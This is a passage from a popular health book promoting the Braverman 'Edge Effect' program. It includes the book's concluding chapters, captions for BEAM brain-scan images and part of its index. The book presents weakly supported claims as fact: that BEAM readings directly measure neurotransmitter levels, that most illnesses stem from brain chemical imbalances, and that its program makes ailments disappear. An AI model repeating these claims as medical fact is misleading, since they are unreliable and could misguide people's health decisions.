On top of minor deficiencies, any one of us can experience brain chemistry problems when we are feeling anxious or depressed. Anxiety begins the entire health slide to the darker aspects of your personality and can affect different personalities in different ways. With increased anxiety, a Rule Breaker can become absolutely fierce. Add the blues to a Drama Queen, and she tries to avoid everything. Anxiety will make a Self-Absorbed person feel ashamed or furious. A depressed Abuse-Me type will crawl into a corner and hide. Once again, the good news is that we can target the disturbance at the source—the brain itself.
If you can learn to distinguish the early warning signs of anxiety and depression, you can stop your personality from sliding into total darkness. For example, many of us can sense when we are not quite feeling like ourselves. During these periods, we are actually struggling with our dark sides. If you can recognize when your personality is starting to slip, and follow the nutrient programs of the opposite nature, you can regain a balanced brain. In times of overwhelming anxiety, seek professional medical attention for the proper medications that can address your condition.
I have also found that depression exacerbates most physical illnesses. Even with the more serious diseases such as Alzheimer's and hypertension, most of my patients see direct physical benefits from taking antidepressants. Talk to your physician about including antidepressants in your medication regimen. If you inform your doctor of the results of your Braverman Nature Assessment, he or she will be able to prescribe the right medication that matches your nature as well as your symptoms.
**MASTERING THE EDGE EFFECT**
You now have at your disposal a complete program for reaching your full mental potential. You can decide to remedy a personality deficiency or increase all of your chemistry to achieve the four aspects of the edge. You can pick and choose what you want to change about your personality depending on the direction you would like to see your life going, or even to accomplish a single task. You can increase your dopamine whenever you need extra power, increase your acetylcholine if you want to achieve higher consciousness, increase your GABA to get to the Zen state of ultimate calm, or raise your serotonin whenever you feel overloaded with information, so that your brain can reboot over a good night's sleep.
Whatever you decide is right for you, as long as you understand your nature as well as your treatment options. With this knowledge, you can enjoy the full benefits of the Edge Effect.
MASTERING THE EDGE EFFECT FOR LASTING HEALTH
BY READING THIS book, you have taken the first important step toward achieving total physical and mental health. You now have at your disposal a complete program that explains how the brain controls the body's functions and how you can adjust and even augment its capabilities. Specifically, you've learned that by improving your brain chemistry you can enhance your nature and address your deficiencies. In doing so, you will improve your physical health and mental well-being; you'll be a beneficiary of the Edge Effect.
**FOLLOWING THE BRAVERMAN
PRESCRIPTION**
There is much to achieve by following this program: once you've identified your own brain-dominant nature and identified any imbalances, the opportunities for improving your physical and mental self are limitless. If you find your brain is in balance and that you are symptom-free, you can choose to work on whatever aspect of your present life deserves focus. For example, you can adjust your brain chemistry to achieve weight loss, enjoy more fulfilling sexual experiences, and even modify your temperament. As long as you understand your nature and your treatment options, you can use the Edge Effect to become a better, healthier person.
You can learn to recognize the merits of each nature and incorporate their best traits into your own. For example, if you haven't been sleeping well, you can boost your serotonin for almost instant results. Or, if you need to stay up late to finish a report, you'll know how to boost you dopamine level for more energy. By enhancing your biochemical combination as you see fit, you will begin to experience what I call the Ultimate Edge Effect, where your mind and body perform at optimal levels of efficiency. Whichever path you choose to bring you to greater mental, physical, and spiritual wellness, they all begin with the same simple steps.
**First, take the Braverman Nature Assessment**. By taking this test, you will discover your true biochemical nature and become aware of any deficiencies or excesses. With this knowledge, you become an educated consumer in the world of health care. You will be able to intelligently discuss with your doctor not only what your symptoms are but what you believe might be causing them. Remember, most illnesses can be directly related to brain chemical imbalances.
The adjustment to better health requires work. My program is only as good as the effort you put into it. Even when you are feeling well, you need to periodically retest your brain balance. I recommend that you should take the Braverman Nature Assessment at least three times each year. Your results will change each time, depending on your physical and mental well-being. Each time, you will be able to create a new strategy for improving yourself and your overall health.
**The next step is to address your deficiencies**. If you are experiencing specific illnesses or ailments, you will find significant relief once you regain brain balance and have recovered your edge. Remember, achieving brain balance and total wellness does not always occur instantaneously. Depending on which treatment options you choose or the severity of your illness, you might experience incremental, rather than instant, relief. If you are experiencing minor brain nature-related symptoms, you should follow the personalized treatment program, which includes changes to your environment, lifestyle, and diet that support your brain-dominant nature. If you have moderate or severe symptoms, you should work with your physician to create a prescription regimen using nature-specific medications and natural hormones to get your health back on track. Once you begin following these guidelines, you will quickly find that enhancing your brain chemistry will become second nature. More important, your ailments will melt away, and serious illnesses can recede. Never give up hope: you can feel better again.
**Now, focus on making the most of your primary nature**. When you feel physically and mentally comfortable, you have successfully balanced your own nature and have begun to experience the Edge Effect. You might feel a variety of new sensations, depending on your nature. If you are a dopamine nature, you might feel the metabolic high of intensity, what I like to call "the zone,"which leads to a healthy, fit, energetic body. An acetylcholine nature can reach an enthusiastic state of higher consciousness, where you might uncover your artistic or spiritual side. Or a GABA nature can have a Zen experience, becoming an even more stable, even-keeled, and organized person. Serotonin natures can learn to reboot their brain by boosting serotonin, reaching a calmness that is the natural result of serenity.
**Lastly, use the Edge Effect to experience higher performance in ways you never imagined possible.** Once you master your nature, you can try for the ultimate edge, where total health—mental, physical, and spiritual—is achieved along with a longer, richer, and more satisfying life. We're all getting older, but how we experience the later years of our lives is completely in our hands. This book has taught you to recognize how your body ages and how you can keep yourself one step ahead of nature's plan. When you maintain proper brain chemistry, you can postpone the pauses that contribute to aging as well as the myriad diseases that are caused by even the most minor biochemical failures. By taking care of your brain and body today through proper nutrition, good lifestyle choices, and, when necessary, medication, you may be preventing a lifetime of illness.
What's more, a healthy and supple brain is necessary for memory retention. Following an acetylcholine-boosting program is the most important thing you can do to preserve, and possibly enhance, your memory capabilities. The Braverman Memory Test can help you uncover any possible issue regarding your memory or cognitive failure. If you have discovered a minor deficiency, you can begin to treat yourself with brain exercises that improve working, immediate, verbal, and visual memory. If you have discovered a moderate or severe deficiency, you can inform your doctor of your test scores and together you can create an aggressive campaign of supplements (and possibly medication) to stop the damage from progressing, so that you will be able to enjoy a sound mind through your old age.
With both your body and brain functioning at peak performance, all that prevents you from experiencing true happiness is yourself. Luckily, you now have the ability to modify your personality by fine-tuning your brain chemistry. Done properly, you can affect lasting changes to your temperament and modify your day-to-day character in order to feel more comfortable with yourself and others. In this way, bending your personality through biochemistry can help you learn to love—and be loved—more completely.
You can choose what you want to change about your personality whether you are looking for permanent change in your life or need to make a minor adjustment in order to more efficiently accomplish a single task. For example, you can increase your dopamine when you need to be a little more forceful, increase your acetylcholine if you want to become more thoughtful, or increase your GABA to tone down your anxieties. Finally, you can increase your serotonin when you need to be more social.
**GETTING FROM THE BALANCED BRAIN TO
THE ULTIMATE EDGE EFFECT**
When you have done the work on all four corners of the edge, you have successfully learned to bend your brain to take your personality, temperament, and physical body to a superior state—the Ultimate Edge Effect. By reaching this state, you have effectively decoded the brain's impact on your health. All of your four primary neurotransmitters are at their peak levels, creating the ultimate brain-mind-body connection. When this happens, your mind and body are working better than ever, and you will experience moments of transcendent joy and oneness with all things.
The Ultimate Edge Effect includes optimum dopamine-zone metabolism: you are flying, racing, doing a million things with total clarity and purpose. Simultaneously, you are in a state of acetylcholine nirvana, where you can be loving, giving, and empathetic to others. Your GABA outward calm does not give way to your intensity. And at night, you reach complete serotonin serenity as your sleep is deep and sound, with your mind open and accepting of your unconscious dream state. This is the time when your brain will process and purge excess information, leaving you refreshed and renewed the next day.
I have been fortunate enough to reach this Ultimate Edge in my life. At these moments I have felt more than just physical and mental peace, and it is a feeling beyond words. I know that you can enjoy this remarkable experience as well. If you are open to the challenges of this program, then you can reach this Ultimate Edge, and more.
**TOWARD A BETTER FUTURE**
In my office I see miracles happen every day. I know that this program works, that miracles are real, and that anyone can benefit from my program, no matter how they feel today. Your ability to understand how the brain functions and how it impacts the entire mind and body will determine how you use this information. I hope you have found, as I have, that the brain is more than just another one of your internal organs; it holds the secret to a better, fuller life, which, when revealed, can change the way you live every day and forever.
_A healthy BEAM Image. This brain shows a large yellow burst in the center of the brain, with strong, balanced color spread evenly throughout the entire brain. This brain is functioning at 16 micro volts of energy and at a P300 speed of 280._
_P300=280ms_
**INTRODUCTION TO BEAM:
THE BEAM™ **
The most reliable test of brain function is the Brain Electrical Activity Map, or BEAM™. First developed by researchers at Harvard Medical School in the 1980s, this computer-based technique measures the electrical activity of the brain.
The BEAM assesses the brain's electrical transmissions by measuring the four individual brain waves and brain-wave combinations. This provides an accurate graphic depiction of the four primary brain biochemicals. Once a treatment program is underway, we can accurately assess its effectiveness.
The first measure of brain health is voltage, which determines the brain's electrical power and is an associated with the biochemical dopamine. In the photograph above, the yellow center flowing into strong red colors indicates high energy. This brain is operating at a high voltage of 16 micro volts, which is shown on the bar in the lower right corner.
The second measure of brain health is electrical speed, recorded in milliseconds. Brain speed is associated with the biochemical acetylcholine. Strong reds and yellow dominate the photograph above, indicators of both high energy and quick speed. The P300 value, which is a measure of brain speed, is 280 milliseconds, as indicated in the caption.
The third measure of brain health is rhythm. Rhythm is associated with the biochemical GABA. In the photograph above, the electrical wave patterns indicate accurate rhythm; the yellow and red colors are evenly spread throughout the BEAM image.
The last measure of brain health is synchrony, or wave balance between hemispheres controlled by serotonin. The photograph above shows wave patterns emanating from the brain's center with beautiful symmetry into the right and left hemispheres and the front and rear lobes. This indicates good communication between both the right and left hemispheres and all lobes of the brain.
**DOPAMINE BEAM**
The photograph on the left shows a normal, healthy dopamine balanced brain.
The bright yellows and reds indicate high energy, and the voltage level measures 10 micro volts. The right image shows a near absence of yellow-red color—only a small burst of red appears in the center of the brain—with black and dark blue dominant overall. The black indicates virtually no dopamine activity with slight activity showing as dark blue. The voltage level in the photograph on the right is extremely low and measures 2 micro volts. This is a picture of a brain with very low energy. Obesity is associated with a dopamine deficiency. When the brain lacks energy, the body's metabolism is low and it cannot process food efficiently. The body compensates by demanding more food, which provides short term energy, but unless the brain gets the dopamine it needs, the body will continue to expand as energy continues to diminish.
**ACETYLCHOLINE BEAM**
A major acetylcholine deficiency will be evident by a high P300 score. The photograph on the left shows a brain with a normal balance of acetylcholine. The P300 reading is 290 milliseconds and there are intense yellows and reds, indicators of high brain processing speed, commonly associated with "quick thinking." The photograph on the right indicates an acetylcholine deficiency with a P300 reading of 390 milliseconds. The absence of yellow and the small isolated burst of dull red indicate extremely low acetylcholine levels and a very slow, seriously troubled brain. A P300 score higher than 300 milliseconds indicates a decline in brain speed, which becomes more and more significant as speed drops. Declining speed affects our memory and thinking ability; slow brain speed can be an early warning sign of Alzheimer's disease.
_Varying Degrees of GABA deficiency from mild to severe._
**GABA BEAM**
The BEAM is particularly effective to visually demonstrate a GABA deficiency. Each of the wave patterns, shown from left to right, display increasing disruptions in rhythmic wave function. Deviation in brain rhythms manifest as being too fast or to slow, too excitable or too dull. You can see that the over-all color shifts from a stable black-blue background to increasing amounts and intensities of light blue, demonstrating brain-wave rhythm disorders caused by decreasing GABA levels. Photograph (a) indicates normal GABA levels and good brain rhythm function. Photograph (b) demonstrates minor rhythm disturbances such as you might find in a patient with allergies. Photograph (c) shows a patient with moderate GABA deficiency who might be experiencing various anxiety-related symptoms, a faster than normal pulse rate, and high blood pressure. Photograph (d) indicates a severe GABA imbalance and might manifest, along with the other GABA deficient symptoms, as short-tempered raging.
_Varying Degrees of serotonin deficiency from mild to severe._
**SEROTONIN BEAM**
Serotonin deficiency appears as wave pattern imbalances between the brain's hemispheres and/or lobes. In each of the photographs above, notice the color asymmetry between the right and left hemispheres. In each photograph one side of the brain shows a predominant red hue, while the other hemisphere is blue, indicating a left-right brain imbalance. The enlarging of the color areas demonstrates increasing levels of serotonin deficiency. Photograph (a) shows a mild serotonin imbalance, typical of PMS in women or premature ejaculation inmen. Photograph (b) indicates a mild abnormality in symmetry and is commonly seen associated with irritable bowel syndrome. Photograph (c) demonstrates numerous moderate serotonin imbalances typical of a wide range of disorders including perimenopausal symptoms and mood disorders. Photograph (d) illustrates a severe serotonin imbalance, particularly in the frontal lobes. This is typical with excitable, emotional individuals with severe insomnia.
**THE EDGE EFFECT**
The two photographs show how dramatic the results of The Edge Effect program can be. In this case, a 40-year-old woman came to me suffering from short-term memory problems, obesity, a sense of disorganization, and sleep disorders. She felt constantly fatigued, had no energy, and was unable to think clearly and quickly. She had been to a number of other doctors, each of whom prescribed various drugs that treated her symptoms, but her symptoms kept getting worse. The first step for this patient was getting a BEAM. The BEAM scan (photograph a) shows what her brain looked like during her first visit. The BEAM shows clear signs of premature aging: low dopamine levels (voltage registered as 0.5) and severely low levels of acetylcholine (P300 = 375), as well as indicators of GABA deficiencies and serotonin imbalances. We developed a diet, drug program, changes to both her lifestyle and environment, and a promise on her part to adhere to this program and return to my office for regular check-ups.
Nine months later, a bright, trim, confident, and energetic woman walked into my office. Her last BEAM scan (photograph b) shows almost full recovery. Her voltage levels were now at a normal 10, her P300 reading was a normal 320, and both her GABA and serotonin levels indicated greatly improved brain rhythm and synchrony. She had restored her Edge. The balanced patient is now intense, enthusiastic, organized, and calm. Her brain, mind, and body health have been fully restored.
INDEX
**A**
abnormal involuntary movements, ♣
absentmindedness, ♣
abuse-me personality, ♣, ♦
accident-proneness, ♣
acetyl-carnitine, ♣
acetylcholine, ♣, ♦
Alzheimer's disease and, ♣, ♦, ♥, ♠
amino acids and, ♣
attention deficits and, ♣
balanced, ♣
boosting, diet/nutrients, ♣, ♦
deficiencies, ♣, ♦. _See also_ acetylcholine-related symptoms/conditions
deficiency cravings, ♣, ♦, ♥
deficiency personalities, ♣
diet, ♣
drug abuse and, ♣
Edge Effect, ♣
excessive, ♣
functions of, ♣, ♦
high-fat sources of, ♣
imbalances, ♣, ♦, ♥
lifestyle and, ♣, ♦
low-fat sources of, ♣
memory and, ♣, ♦, ♥
acetylcholine nature, ♣
balancing, ♣, ♦
brain functional impairment and, ♣
environment and, ♣, ♦
excessive acetylcholine and, ♣
lifestyle strategies, ♣
mantras, ♣
modifying negative aspects of, ♣
personality profile, ♣
visual meditation exercise, ♣
vitamins, supplements, ♣, ♦, ♥
acetylcholine-related symptoms/conditions, ♣. _See also specific symptoms/conditions_
attention issues, ♣
case study, ♣, ♦, ♥, ♠
dehydration and, ♣
diet for, ♣
domino effect of, ♣
hormone replacement therapies, ♣
identifying, scenario, ♣
medications for, ♣
memory issues, ♣
personality issues, ♣
physical issues, ♣
psychopause and, ♣
treating, ♣
acetyl-L-carnitine, ♣, ♦
aches/soreness, ♣
action tremors, ♣
addictions, ♣
alcohol. _See_ alcohol addiction
dopamine and, ♣, ♦
drugs, ♣, ♦, ♥, ♠
serotonin and, ♣, ♦
sexual, ♣
treating, ♣
adenosine, ♣
adjustment disorders, ♣
adrenaline, ♣
adrenopause, ♣, ♦
adventurous nature, ♣
aerobics routine, ♣
aggression, ♣
aging, pauses and. _See_ pauses
agitation, ♣
alcohol addiction, ♣, ♦, ♥, ♠, †, ‡
allergies
as GABA-related issues, ♣, ♦
medications, ♣, ♦
to nuts/bananas, ♣
as serotonin-related issues, ♣, ♦
alpha waves, ♣
aluminum cookware, ♣
Alzheimer's disease
acetylcholine and, ♣, ♦, ♥, ♠
brain speed and, ♣
defined, ♣
electropause ages, ♣
mechanics of, ♣
medications, ♣
onset statistics, xvi
PATH treatment impacting, ♣
psychopause and, ♣
stages, ♣
statistics, ♣
treating, ♣, ♦
voltage level, ♣
amino acids, ♣, ♦. _See also specific amino acids_
andropause (male menopause), ♣, ♦, ♥, ♠
anemia, ♣, ♦, ♥, ♠
anesthesia, ♣
anger management problems, ♣, ♦
anorexia, ♣
antioxidants, ♣, ♦, ♥, ♠
anxiety, ♣, ♦
acetylcholine and, ♣, ♦
causing memory loss, ♣, ♦
GABA and, ♣, ♦, ♥, ♠, †
hormone therapy, ♣
medications, ♣, ♦
psychopause and, ♣
serotonin and, ♣
universality of, ♣
vitamins, supplements, ♣
appetite
control supplement, ♣
decreased, ♣, ♦
reducing, hormone therapy, ♣, ♦
significant changes in, ♣
arginine, ♣
arrhythmia. _See_ brain arrhythmia; heart disorders
arthritis, ♣
acetylcholine and, ♣, ♦
osteo/rheumatoid, ♣
as serotonin-related issue, ♣, ♦
treating, ♣
artistic appreciation, lack of, ♣
aspirin, ♣
attention, ♣
acetylcholine-related issues, ♣
case study, ♣
CES and, ♣
dopamine-related issues, ♣
GABA-related issues, ♣
improving, ♣
serotonin-related issues, ♣
attention deficit disorders
addressing, ♣
brain speed and, ♣
dopamine and, ♣, ♦, ♥
electropause ages, ♣
medications, ♣
symptoms/causes, ♣
vitamins, supplements, ♣, ♦
voltage level, ♣
autism, ♣
automated feelings, ♣
autonomic hyperactivity, ♣
autonomic nervous system, ♣
axons, ♣
**B**
back pain, ♣, ♦, ♥, ♠, †
balanced brain
advantage, ♣
bending chemistry for, ♣, ♦
diet and, ♣
environment and, ♣
hormones and, ♣
lifestyle and, ♣
medications for, ♣
prescription for. _See_ Braverman Prescription
technological assistance for, ♣
Ultimate Edge Effect and, ♣, ♦
balance problems, ♣
bed-wetting medications, ♣
beta-carotene, ♣
beta waves, ♣
biochemical deficiencies. _See also specific neurotransmitters_
defining, ♣
dominant nature and, ♣
major, ♣
minor, ♣
multiple, ♣
biochemicals. _See also_ neurotransmitters; _specific neurotransmitters_
controlling personality/health, ♣
correcting, ♣
dominating brain lobes, ♣, ♦, ♥
locations of, ♣
mechanics of, ♣
medications and, ♣
physiology and, ♣
transferring electricity, ♣
biopause, ♣, ♦
biotemperaments (natures), xix
determining, ♣
dominant. _See_ dominant nature
intuitive feelers, ♣
sensitive judging, ♣
sensitive perceiving, ♣
thinking intuitives, ♣
understanding, advantages, ♣, ♦
bipolar disorder, ♣, ♦, ♥
blood sugar instability, ♣
blues, ♣, ♦, ♥
blurred vision, ♣, ♦, ♥, ♠
bone density loss, ♣, ♦, ♥
bowel movements, frequent, ♣, ♦
brain
diseases emanating from, xvi
domino effect in. _See_ domino effect
human vs. animal, ♣
illustrated, xv
infections damaging, ♣
integral role of, ♦
pauses of, ♣
size, ♣
slowing of, xv–xvi
speed. _See_ speed, of brain
total health of,
brain arrhythmia, ♣, ♦, ♥
brain-body electrical system. _See_ electricity
Brain Calm supplements, ♣
brain chemistry. _See_ neurotransmitters; _specific neurotransmitters_
Brain Energy supplements, ♣, ♦, ♥, ♠
brain functioning. _See also_ brain structure; electricity
biochemical basis, ♣
biotemperaments and. _See_ biotem-peraments (natures)
DNA and, ♣
domains of, ♣, ♦
left vs. right side, ♣
natural, ♣
neurons and, ♣
Brain Memory formulas, ♣
Brain Rest supplements, ♣, ♦
Brain Speed supplements, ♣, ♦
brain stem, ♣
brain structure
abnormal, disorders, ♣
biochemicals dominating lobes, ♣, ♦, ♥
brain stem, ♣
cerebellum, ♣
cerebrospinal fluid, ♣
cerebrum, ♣
corpus callosum, ♣
frontal lobes, ♣
occipital lobes, ♣
overview, ♣
parietal lobes, ♣
temporal lobes, ♣
brain waves. _See also specific wave types_
natural progression of, ♣
serotonin and, ♣, ♦, ♥
supplements for, ♣
synchrony of, ♣, ♦
types of, ♣
unbalanced, ♣, ♦
Brain Youth supplements, ♣
branched-chain amino acids, ♣
Braverman Memory Test, ♣, ♦
answer key, ♣
interpreting, ♣, ♦
numbers/letters section, ♣
numbers section, ♣
objects section, ♣
pairs section, ♣
pictures section, ♣
stories section, ♣
Braverman Nature Assessment, ♣, ♦
age and, ♣
case study, ♣
defining deficiencies, ♣
determining dominant nature, ♣
dominant nature/deficiencies relationship, ♣
frequently asked questions, ♣
interpreting all scores, ♣
medications/medical conditions influencing, ♣
preparing for, ♣
retaking, ♣
value of, ♣
Braverman Prescription, ♣. _See also_ pauses; Rainbow Diet
CES and, ♣
following, ♣
life expectancies and, ♣
overview, ♣
breast cancer
medication, ♣
supplement, ♣
breath, shortness of, ♣, ♦, ♥, ♠
breathing exercise, ♣
bulimia, ♣
butterflies in stomach, ♣, ♦, ♥, ♠
B vitamins, ♣, ♦, ♥, ♠. _See also_ vitamin B6; vitamin B12
bypass surgery, ♣
**♣**
cadmium, ♣
caffeine, ♣, ♦, ♥
calcitonin (Miacalcin), ♣, ♦
calcium, ♣, ♦
calculation errors, ♣
cancer
brain speed and, ♣
medication, ♣
supplement for, ♣
carbohydrate binges/cravings
dopamine and, ♣, ♦, ♥
GABA imbalances and, ♣, ♦, ♥
serotonin and, ♣, ♦
treating, ♣
type ♣ diabetes and, ♦
cardiac problems. _See_ heart disorders
cardiopause, ♣, ♦
carelessness, ♣
carnitine, ♣
cell phones, ♣
cerebellum, ♣
cerebral cortex, ♣
cerebrospinal fluid, ♣
cerebrum
frontal lobes, ♣
occipital lobes, ♣
overview, ♣
parietal lobes, ♣
temporal lobes, ♣
CES (cranial electrical stimulator), ♣, ♦, ♥
chanting, ♣, ♦
character assessments
defining deficiencies, ♣, ♦, ♥, ♠
determining dominant nature, ♣, ♦, ♥, ♠
charismatic nature, ♣
chest pain, ♣, ♦
chlamydia, ♣
chocolate, ♣
choking, ♣, ♦, ♥, ♠
cholecystokinin, ♣
cholesterol elevation
acetylcholine and, ♣
dopamine and, ♣, ♦
GABA and, ♣
losing edge and, ♣
choline, ♣, ♦, ♥, ♠, †. _See also_ acetylcholine
chromium, ♣, ♦
chronic pain
GABA deficiencies and, ♣
losing edge and, ♣
treating, ♣
cirrhosis of liver, ♣
clammy hands, ♣, ♦, ♥, ♠, †
cocaine abuse
brain speed and, ♣
dopamine deficiencies and, ♣
medications, ♣
self-medication and, ♣
codependency, ♣
Cognitex, ♣
cognitive problems, ♣, ♦, ♥, ♠
cold hands, ♣, ♦, ♥, ♠
coma, ♣
common sense, lacking, ♣
comprehension problems, ♣
concentration
difficulty, ♣, ♦, ♥, ♠
increasing, ♣
concussion, ♣
conjugated linoleic acid, ♣, ♦
constipation, ♣, ♦, ♥, ♠, †, ‡
conversion disorder, ♣
coordination lack, ♣, ♦
coronary artery disease, ♣
corpus callosum, ♣
functions of, ♣
illustrated, ♣
left-brained individuals and, ♣
left hemisphere and, ♣, ♦
right-brained individuals and, ♣
right hemisphere and, ♣, ♦, ♥
cortisol, ♣, ♦
coughing, ♣, ♦, ♥, ♠
cranial electrical stimulation (CES), ♣, ♦, ♥
cravings. _See_ food cravings
cysteine, ♣
**D**
D, L-phenylalanine, ♣, ♦, ♥
dark side, overcoming, ♣
deanol, ♣
death, contemplating, ♣
deep breathing exercise, ♣
deficiencies. _See_ biochemical deficiencies; _specific neurotransmitters_
delta waves, ♣, ♦
delusions, ♣, ♦
dementia. _See also_ Alzheimer's disease;
memory loss
associated with medical disease, ♣
brain speed and, ♣, ♦
medications, ♣
psychopause and, ♣
signs/symptoms, ♣
dendrites, ♣
depersonalization, ♣, ♦
depression, ♣, ♦, ♥, ♠
as dopamine-related issue, ♣
as GABA-related issue, ♣
medications, ♣, ♦
multiple sclerosis and, ♣
psychopause and, ♣
as serotonin-related issue, ♣, ♦, ♥
signs/symptoms, ♣
treating, ♣, ♦, ♥
treatment-resistant, ♣, ♦
vitamins, supplements, ♣
voltage levels, ♣
derealization, ♣
dermopause, ♣, ♦
detached feeling, ♣
DHA (docosahexanoic acid), ♣
DHEA (dehydroepiandrosterone), ♣, ♦, ♥, ♠, †
diabetes
acetylcholine and, ♣
brain slowing and, xvi
brain speed and, ♣
as dopamine-related issue, ♣
losing edge symptom, ♣
pain medications, ♣
stroke and, ♣
treating, ♣
type ♣, ♦
voltage level, ♣
dialysis-related problems, ♣
diarrhea, ♣, ♦, ♥, ♠
diet. _See also_ food cravings; Rainbow Diet
acetylcholine nature, ♣
amino acids, neurotransmitters and, ♣
balanced brain and, ♣
brain, hypertension and, ♣
dopamine nature, ♣
GABA nature, ♣, ♦
making better choices, ♣
for memory disorders, ♣
phenylalanine and, ♣, ♦, ♥, ♠, †, ‡
serotonin nature, ♣
tyrosine and, ♣, ♦, ♥, ♠
vitamins, supplements and. _See_ vitamins, supplements
digestive complaints, ♣, ♦
distractedness, ♣, ♦
dizziness, ♣, ♦, ♥, ♠, †, ‡, Δ, ∇
DMAE, ♣
DNA, ♣
dominant nature
deficiencies and, ♣
determining, ♣, ♦
dual natures and, ♣
genetics influencing, ♣
indicating deficiency treatments, ♣
not changing, ♣
successful relationships and, ♣
understanding, advantages, ♣, ♦
domino effect, ♣
acetylcholine-related, ♣
dopamine-related, ♣
GABA-related, ♣
serotonin-related, ♣
dopamine, ♣, ♦
amino acids and, ♣
biotemperament dominated by, ♣
boosting nutrients, ♣
deficiencies, ♣, ♦. _See also_ dopamine-related symptoms/conditions
deficiency cravings, ♣, ♦
deficiency personalities, ♣
diet/nutrients increasing, ♣, ♦
drug abuse and, ♣
edge, ♣
Edge Effect, ♣
excessive, ♣
functions of, ♣, ♦, ♥
imbalances, ♣, ♦, ♥, ♠, †
lifestyle and, ♣
memory affiliation/nutrients, ♣, ♦
monitoring metabolism, ♣
phenylalanine and, ♣, ♦, ♥, ♠, †, ‡
tyrosine and, ♣, ♦, ♥, ♠, †
dopamine nature, ♣
balancing, ♣, ♦
deep breathing exercise, ♣
defined, ♣
diet, ♣
environment and, ♣, ♦
excessive dopamine and, ♣
lifestyle strategies, ♣
mantras, ♣
modifying negative aspects of, ♣
personality profile, ♣
vitamins, supplements, ♣, ♦, ♥
dopamine-related symptoms/conditions. _See also specific symptoms/conditions_
attention problems, ♣, ♦, ♥
case study, ♣, ♦
domino effect of, ♣
hormone replacement therapies, ♣
medications for, ♣
memory issues, ♣
personality issues, ♣
physical issues, ♣
treating, ♣
drama queens, ♣, ♦, ♥
dread, ♣, ♦, ♥
dream-like experience, ♣
dribbling, ♣
drug abuse/addiction, ♣, ♦, ♥, ♠
drug reactions, ♣
dry cough, ♣
dry mouth, ♣, ♦, ♥, ♠
dukes-up personality, ♣
dyslexia, ♣
dysrhythmia. _See_ arrhythmia
dysthymic disorder, ♣, ♦, ♥
**E**
early-morning waking, ♣, ♦
Eastern medicine, ♣
eating disorders, ♣, ♦
eccentrics, ♣, ♦
edge, losing. _See_ losing edge
edge checklist, ♣
Edge Effect
background, ♣
bliss, peacefulness and, ♣
defined, ♣
experiencing, ♣
mastering, ♣, ♦
prescription for. _See_ Braverman Prescription
Ultimate Edge Effect, ♣, ♦
EEGs, measuring synchrony, ♣
electricity
biochemicals transferring, ♣
brain wave types and, ♣
connecting brain/body, ♣
dysrhythmia, degrees of, ♣
as Edge Effect basis, ♣
measurements, ♣
neurons and, ♣
rhythm of, ♣
speed of, ♣
synchrony of, ♣
system, illustrated, ♣
transmission of, ♣
voltage of, ♣, ♦
electropause, ♣, ♦
emotional maturity, lacking, ♣
emotional stability, poor, ♣
encephalopathy, ♣, ♦
endocrine disorders, ♣
Endorphin Effect, ♣
endorphins, ♣, ♦
environment, ♣
acetylcholine nature and, ♣, ♦
dopamine nature and, ♣, ♦
GABA nature and, ♣, ♦
serotonin nature and, ♣
epilepsy, ♣, ♦, ♥, ♠
Epstein-Barr syndrome, ♣
erythropoietin, ♣, ♦
estrogen, ♣, ♦, ♥, ♠
exercises
acetylcholine-related, ♣
aerobics routine, ♣
for bending personality. _See_ personality, bending
deep breathing, ♣
GABA-related, ♣
for improving memory, ♣
mantras for natures, ♣
for osteoporosis, ♣
serotonin-related, ♣
extrovert competence, reaching, ♣
extroverts, ♣, ♦, ♥
eye disorders, ♣
**F**
facial pains, ♣, ♦
facial tremors, ♣
fat cravings, ♣, ♦, ♥, ♠
fatigue, ♣
brain speed and, ♣
hormone for, ♣, ♦
medications, ♣
phenylalanine for, ♣, ♦
psychopause and, ♣
vitamins, supplements for, ♣
voltage level, ♣
fears, phobias, ♣, ♦, ♥, ♠, †, ‡, Δ
feeling thinking style, increasing, ♣
feeling types, ♣, ♦
fibromyalgia (chronic muscle pain), ♣
fish oils, ♣, ♦, ♥, ♠, †, ‡
5-hydroxytryptophan, ♦, ♥, ♠
flaccidity, ♣
flu, ♣
fluid retention hormone, ♣
flushing, ♣, ♦, ♥
folic acid, ♣
food cravings, ♣
acetylcholine-related, ♣, ♦, ♥
caffeine, ♣, ♦
carbohydrates. _See_ carbohydrate binges/cravings
dopamine-related, ♣, ♦
fat, ♣, ♦, ♥, ♠
GABA-related, ♣, ♦, ♥
protein, ♣, ♦
salt, ♣
serotonin-related, ♣, ♦
sugar, ♣
treating addiction to, ♣
forgetfulness, ♣
frontal lobes, ♣
**G**
GABA, ♣, ♦
amino acids and, ♣
anxiety and, ♣, ♦, ♥, ♠, †
attention deficits and, ♣
boosters, ♣
biotemperament dominated by, ♣
case study, ♣
CES and, ♣
deficiencies, ♣, ♦. _See also_ GABA-related illnesses
deficiency cravings, ♣, ♦, ♥
deficiency personalities, ♣
diet/nutrients increasing, ♣, ♦
drug abuse and, ♣
Edge Effect, ♣
endorphins from, ♣
excessive, ♣
functions of, ♣, ♦, ♥
imbalances, ♣, ♦
lifestyle and, ♣, ♦
memory affiliation/nutrients, ♣, ♦
music increasing, ♣
production of, ♣
TCMS units stimulating, ♣
GABA nature, ♣
balancing, ♣, ♦
diet, ♣, ♦
environment and, ♣, ♦
excessive GABA and, ♣
lifestyle strategies, ♣
mantras, ♣
modifying negative aspects of, ♣
personality profile, ♣
vitamins, supplements, ♣, ♦, ♥
GABA Pentin, ♣
gabapentin (Neurontin), ♣, ♦
GABA-related illnesses, ♣. _See also specific illnesses_
arrhythmia and, ♣
attention issues, ♣
case study, ♣, ♦, ♥
diagnosing, ♣
domino effect of, ♣
hormone replacement therapies, ♣
medications for, ♣
memory loss and, ♣
personality issues, ♣
physical issues, ♣
treating, ♣
garlic, ♣
gastroesophageal reflux disorder, ♣, ♦, ♥
gastropause, ♣
genome sequence, ♣
genopause, ♣
giddiness, ♣
_Ginkgo biloba_ , ♣, ♦
glaucoma, ♣, ♦
global brain disease, ♣
global memory problems, ♣
glucagon, ♣
glucose tolerance factor (GTF), ♣
glutamic acid, ♣
glutamine, ♣
glycerol phosphocoline, ♣
glycine, ♣
growth-hormone-releasing hormone (GHRH), ♣
guarana, ♣
guilt, ♣, ♦
_Gymnema sylvestra_ , ♣
**H**
hallucinations, ♣, ♦, ♥
hallucinogen use, ♣
hands, cold/clammy, ♣, ♦, ♥, ♠, †
headaches, ♣, ♦, ♥, ♠, †, ‡, Δ
head injury, ♣, ♦
head tremors, ♣
healing symptoms/conditions. _See_ treating specific symptoms/conditions
hearing loss, ♣
heart, building vessels in, ♣
heart disorders, ♣
arrhythmia, ♣, ♦
